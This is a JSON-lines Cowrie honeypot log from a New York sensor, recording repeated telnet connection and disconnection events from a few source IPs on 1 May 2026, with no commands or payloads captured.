{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48634,"dst_ip":"159.203.135.109","dst_port":23,"session":"4423849119c3","protocol":"telnet","message":"New connection: 51.161.172.108:48634 (159.203.135.109:23) [session: 4423849119c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:44.767943Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":34000,"dst_ip":"10.17.0.5","dst_port":23,"session":"66240ba1c2b5","protocol":"telnet","message":"New connection: 45.10.154.244:34000 (10.17.0.5:23) [session: 66240ba1c2b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:45.014496Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48636,"dst_ip":"159.203.135.109","dst_port":23,"session":"3186c16cdca4","protocol":"telnet","message":"New connection: 51.161.172.108:48636 (159.203.135.109:23) [session: 3186c16cdca4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:45.021897Z"}
{"eventid":"cowrie.session.closed","duration":30.81155252456665,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:45.172076Z","src_ip":"51.161.172.108","session":"d6cf066539a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.088416814804077,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:45.246826Z","src_ip":"51.161.172.108","session":"44753105a5b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48642,"dst_ip":"159.203.135.109","dst_port":23,"session":"c31c561d4353","protocol":"telnet","message":"New connection: 51.161.172.108:48642 (159.203.135.109:23) [session: c31c561d4353]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:45.271144Z"}
{"eventid":"cowrie.session.closed","duration":30.57379961013794,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:45.317686Z","src_ip":"51.161.172.108","session":"f066ed4e490c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48610,"dst_ip":"159.203.135.109","dst_port":23,"session":"1feb9b0b8cf8","protocol":"telnet","message":"New connection: 51.161.172.108:48610 (159.203.135.109:23) [session: 1feb9b0b8cf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:45.419092Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48660,"dst_ip":"159.203.135.109","dst_port":23,"session":"8eba113dd17e","protocol":"telnet","message":"New connection: 51.161.172.108:48660 (159.203.135.109:23) [session: 8eba113dd17e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:45.679126Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48668,"dst_ip":"159.203.135.109","dst_port":23,"session":"d88bd03cc517","protocol":"telnet","message":"New connection: 51.161.172.108:48668 (159.203.135.109:23) [session: d88bd03cc517]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:45.799643Z"}
{"eventid":"cowrie.session.closed","duration":30.383055210113525,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:46.125309Z","src_ip":"45.10.154.244","session":"57d7fb85be97","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48692,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf42f2fdb1bb","protocol":"telnet","message":"New connection: 51.161.172.108:48692 (159.203.135.109:23) [session: bf42f2fdb1bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:46.285354Z"}
{"eventid":"cowrie.session.closed","duration":31.023216485977173,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:46.330861Z","src_ip":"51.161.172.108","session":"79e17b7bb46e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.526697397232056,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:46.381190Z","src_ip":"51.161.172.108","session":"ee746ba1e7fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.591038465499878,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:46.437186Z","src_ip":"51.161.172.108","session":"b3f8a026c37a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48706,"dst_ip":"159.203.135.109","dst_port":23,"session":"1daed24f842d","protocol":"telnet","message":"New connection: 51.161.172.108:48706 (159.203.135.109:23) [session: 1daed24f842d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:46.442397Z"}
{"eventid":"cowrie.session.closed","duration":30.661470890045166,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:46.478408Z","src_ip":"51.161.172.108","session":"84846a9ca8da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.513885974884033,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:46.687646Z","src_ip":"51.161.172.108","session":"7555ab0e994c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.211848497390747,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:46.732681Z","src_ip":"51.161.172.108","session":"601826d08067","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48720,"dst_ip":"159.203.135.109","dst_port":23,"session":"5bc76f1ffc62","protocol":"telnet","message":"New connection: 51.161.172.108:48720 (159.203.135.109:23) [session: 5bc76f1ffc62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:46.780573Z"}
{"eventid":"cowrie.session.closed","duration":31.28904390335083,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:46.846647Z","src_ip":"51.161.172.108","session":"39bcab7120bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.03790354728699,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:46.950412Z","src_ip":"51.161.172.108","session":"fb0d868d90be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48734,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1a7f1d4f25f","protocol":"telnet","message":"New connection: 51.161.172.108:48734 (159.203.135.109:23) [session: c1a7f1d4f25f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:47.074069Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48740,"dst_ip":"159.203.135.109","dst_port":23,"session":"7671ad8ec3d8","protocol":"telnet","message":"New connection: 51.161.172.108:48740 (159.203.135.109:23) [session: 7671ad8ec3d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:47.077934Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48742,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb7e11e79663","protocol":"telnet","message":"New connection: 51.161.172.108:48742 (159.203.135.109:23) [session: bb7e11e79663]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:47.242685Z"}
{"eventid":"cowrie.session.closed","duration":30.940263271331787,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:47.595008Z","src_ip":"51.161.172.108","session":"483f3fc5eae4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.25202488899231,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:47.630919Z","src_ip":"51.161.172.108","session":"3ab9ed8f7d39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48782,"dst_ip":"159.203.135.109","dst_port":23,"session":"252dd3538133","protocol":"telnet","message":"New connection: 51.161.172.108:48782 (159.203.135.109:23) [session: 252dd3538133]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:47.922531Z"}
{"eventid":"cowrie.session.closed","duration":31.339845418930054,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:47.999593Z","src_ip":"51.161.172.108","session":"13ca63359819","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.195866346359253,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:48.053497Z","src_ip":"51.161.172.108","session":"225e55bfdd24","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48798,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc86d34ce4a6","protocol":"telnet","message":"New connection: 51.161.172.108:48798 (159.203.135.109:23) [session: cc86d34ce4a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:48.194948Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48794,"dst_ip":"159.203.135.109","dst_port":23,"session":"758f9fccf4e4","protocol":"telnet","message":"New connection: 51.161.172.108:48794 (159.203.135.109:23) [session: 758f9fccf4e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:48.234170Z"}
{"eventid":"cowrie.session.closed","duration":31.000000476837158,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:48.289930Z","src_ip":"51.161.172.108","session":"c44ccc302d0d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.711254835128784,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:48.498334Z","src_ip":"51.161.172.108","session":"c332fb83dd27","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.848299264907837,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:48.625551Z","src_ip":"51.161.172.108","session":"c013021546bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48806,"dst_ip":"159.203.135.109","dst_port":23,"session":"71bc212c9eec","protocol":"telnet","message":"New connection: 51.161.172.108:48806 (159.203.135.109:23) [session: 71bc212c9eec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:48.744660Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48774,"dst_ip":"159.203.135.109","dst_port":23,"session":"97c4ccbaf3d5","protocol":"telnet","message":"New connection: 51.161.172.108:48774 (159.203.135.109:23) [session: 97c4ccbaf3d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:48.857195Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48760,"dst_ip":"159.203.135.109","dst_port":23,"session":"db2946c7a607","protocol":"telnet","message":"New connection: 51.161.172.108:48760 (159.203.135.109:23) [session: db2946c7a607]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:48.863756Z"}
{"eventid":"cowrie.session.closed","duration":30.236631155014038,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:49.092916Z","src_ip":"45.10.154.244","session":"15f3dbf62742","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.261587142944336,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:49.174777Z","src_ip":"45.10.154.244","session":"e889c38cc165","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.03927206993103,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:49.241851Z","src_ip":"51.161.172.108","session":"76b35871be4c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":48186,"dst_ip":"159.203.135.109","dst_port":23,"session":"8419ff2011cf","protocol":"telnet","message":"New connection: 167.99.38.72:48186 (159.203.135.109:23) [session: 8419ff2011cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:49.255135Z"}
{"eventid":"cowrie.session.closed","duration":30.9641170501709,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:49.310224Z","src_ip":"51.161.172.108","session":"490a34f9e72c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.004786729812622,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:49.315681Z","src_ip":"51.161.172.108","session":"4b4651d9312d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48934,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1e46deb60e9","protocol":"telnet","message":"New connection: 51.161.172.108:48934 (159.203.135.109:23) [session: a1e46deb60e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:49.506304Z"}
{"eventid":"cowrie.session.closed","duration":30.927239894866943,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:49.570708Z","src_ip":"51.161.172.108","session":"dab7f53a2bf2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":49008,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e65fd527056","protocol":"telnet","message":"New connection: 51.161.172.108:49008 (159.203.135.109:23) [session: 5e65fd527056]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:49.845803Z"}
{"eventid":"cowrie.session.closed","duration":32.10218358039856,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:49.867505Z","src_ip":"51.161.172.108","session":"f1884c955739","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.96685218811035,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:49.917482Z","src_ip":"51.161.172.108","session":"53b5256184b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":49064,"dst_ip":"159.203.135.109","dst_port":23,"session":"49d315cf2bec","protocol":"telnet","message":"New connection: 51.161.172.108:49064 (159.203.135.109:23) [session: 49d315cf2bec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:50.140450Z"}
{"eventid":"cowrie.session.closed","duration":30.760701179504395,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:50.183909Z","src_ip":"51.161.172.108","session":"a76581235f6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.833460330963135,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:50.273849Z","src_ip":"45.10.154.244","session":"0206c051c4b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":49080,"dst_ip":"159.203.135.109","dst_port":23,"session":"1826446e236a","protocol":"telnet","message":"New connection: 51.161.172.108:49080 (159.203.135.109:23) [session: 1826446e236a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:50.423260Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":49488,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1ebacc34dfd","protocol":"telnet","message":"New connection: 167.99.38.72:49488 (159.203.135.109:23) [session: a1ebacc34dfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:50.465605Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":49096,"dst_ip":"159.203.135.109","dst_port":23,"session":"07c8636294d6","protocol":"telnet","message":"New connection: 51.161.172.108:49096 (159.203.135.109:23) [session: 07c8636294d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:50.560905Z"}
{"eventid":"cowrie.session.closed","duration":31.66160535812378,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:50.567554Z","src_ip":"51.161.172.108","session":"0c2510852c15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":49160,"dst_ip":"159.203.135.109","dst_port":23,"session":"eaf56dd465b6","protocol":"telnet","message":"New connection: 51.161.172.108:49160 (159.203.135.109:23) [session: eaf56dd465b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:50.706365Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":49172,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f2a0dcffed6","protocol":"telnet","message":"New connection: 51.161.172.108:49172 (159.203.135.109:23) [session: 5f2a0dcffed6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:50.820079Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":49186,"dst_ip":"159.203.135.109","dst_port":23,"session":"86c97fe60738","protocol":"telnet","message":"New connection: 51.161.172.108:49186 (159.203.135.109:23) [session: 86c97fe60738]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:50.839199Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":49236,"dst_ip":"159.203.135.109","dst_port":23,"session":"656ad29b5974","protocol":"telnet","message":"New connection: 51.161.172.108:49236 (159.203.135.109:23) [session: 656ad29b5974]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:50.977885Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":49264,"dst_ip":"159.203.135.109","dst_port":23,"session":"e843ce564d30","protocol":"telnet","message":"New connection: 51.161.172.108:49264 (159.203.135.109:23) [session: e843ce564d30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:51.163576Z"}
{"eventid":"cowrie.session.closed","duration":30.558497667312622,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:51.188138Z","src_ip":"51.161.172.108","session":"533c491423b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":49272,"dst_ip":"159.203.135.109","dst_port":23,"session":"dbcd5414b75f","protocol":"telnet","message":"New connection: 51.161.172.108:49272 (159.203.135.109:23) [session: dbcd5414b75f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:51.238972Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":49292,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb40863e2863","protocol":"telnet","message":"New connection: 51.161.172.108:49292 (159.203.135.109:23) [session: fb40863e2863]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:51.249074Z"}
{"eventid":"cowrie.session.closed","duration":31.224956274032593,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:51.449230Z","src_ip":"51.161.172.108","session":"2a75e7703b3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.512943029403687,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:51.473802Z","src_ip":"51.161.172.108","session":"4822b02cb84b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":49338,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e5cb6744442","protocol":"telnet","message":"New connection: 51.161.172.108:49338 (159.203.135.109:23) [session: 4e5cb6744442]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:51.610050Z"}
{"eventid":"cowrie.session.closed","duration":31.06843852996826,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:51.692807Z","src_ip":"51.161.172.108","session":"cda0f9c75ec2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":49218,"dst_ip":"159.203.135.109","dst_port":23,"session":"32713e93975f","protocol":"telnet","message":"New connection: 51.161.172.108:49218 (159.203.135.109:23) [session: 32713e93975f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:51.985844Z"}
{"eventid":"cowrie.session.closed","duration":30.299304723739624,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:52.056273Z","src_ip":"45.10.154.244","session":"4025fb16e76d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97008752822876,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:52.194437Z","src_ip":"51.161.172.108","session":"027d7f414de1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.300145864486694,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:52.219145Z","src_ip":"51.161.172.108","session":"2f4dc029d3e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.137179851531982,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:52.256950Z","src_ip":"51.161.172.108","session":"7f5794874d54","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.60441565513611,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:52.305857Z","src_ip":"51.161.172.108","session":"5efbefa91a2b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.60307741165161,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:52.320547Z","src_ip":"45.10.154.244","session":"5d583b2a7bfa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.565004110336304,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:52.460343Z","src_ip":"51.161.172.108","session":"441239d6ee67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":49454,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b6f8eecf865","protocol":"telnet","message":"New connection: 51.161.172.108:49454 (159.203.135.109:23) [session: 8b6f8eecf865]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:52.661803Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":49468,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1070409e78b","protocol":"telnet","message":"New connection: 51.161.172.108:49468 (159.203.135.109:23) [session: a1070409e78b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:52.915215Z"}
{"eventid":"cowrie.session.closed","duration":31.59158229827881,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:52.934515Z","src_ip":"51.161.172.108","session":"7c3246944360","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":49488,"dst_ip":"159.203.135.109","dst_port":23,"session":"41c453810ea6","protocol":"telnet","message":"New connection: 51.161.172.108:49488 (159.203.135.109:23) [session: 41c453810ea6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:52.948254Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":49502,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ab6dfde60cb","protocol":"telnet","message":"New connection: 51.161.172.108:49502 (159.203.135.109:23) [session: 2ab6dfde60cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:53.010964Z"}
{"eventid":"cowrie.session.closed","duration":31.02367353439331,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:53.076459Z","src_ip":"45.10.154.244","session":"6f6874d8b4ea","protocol":"telnet"}
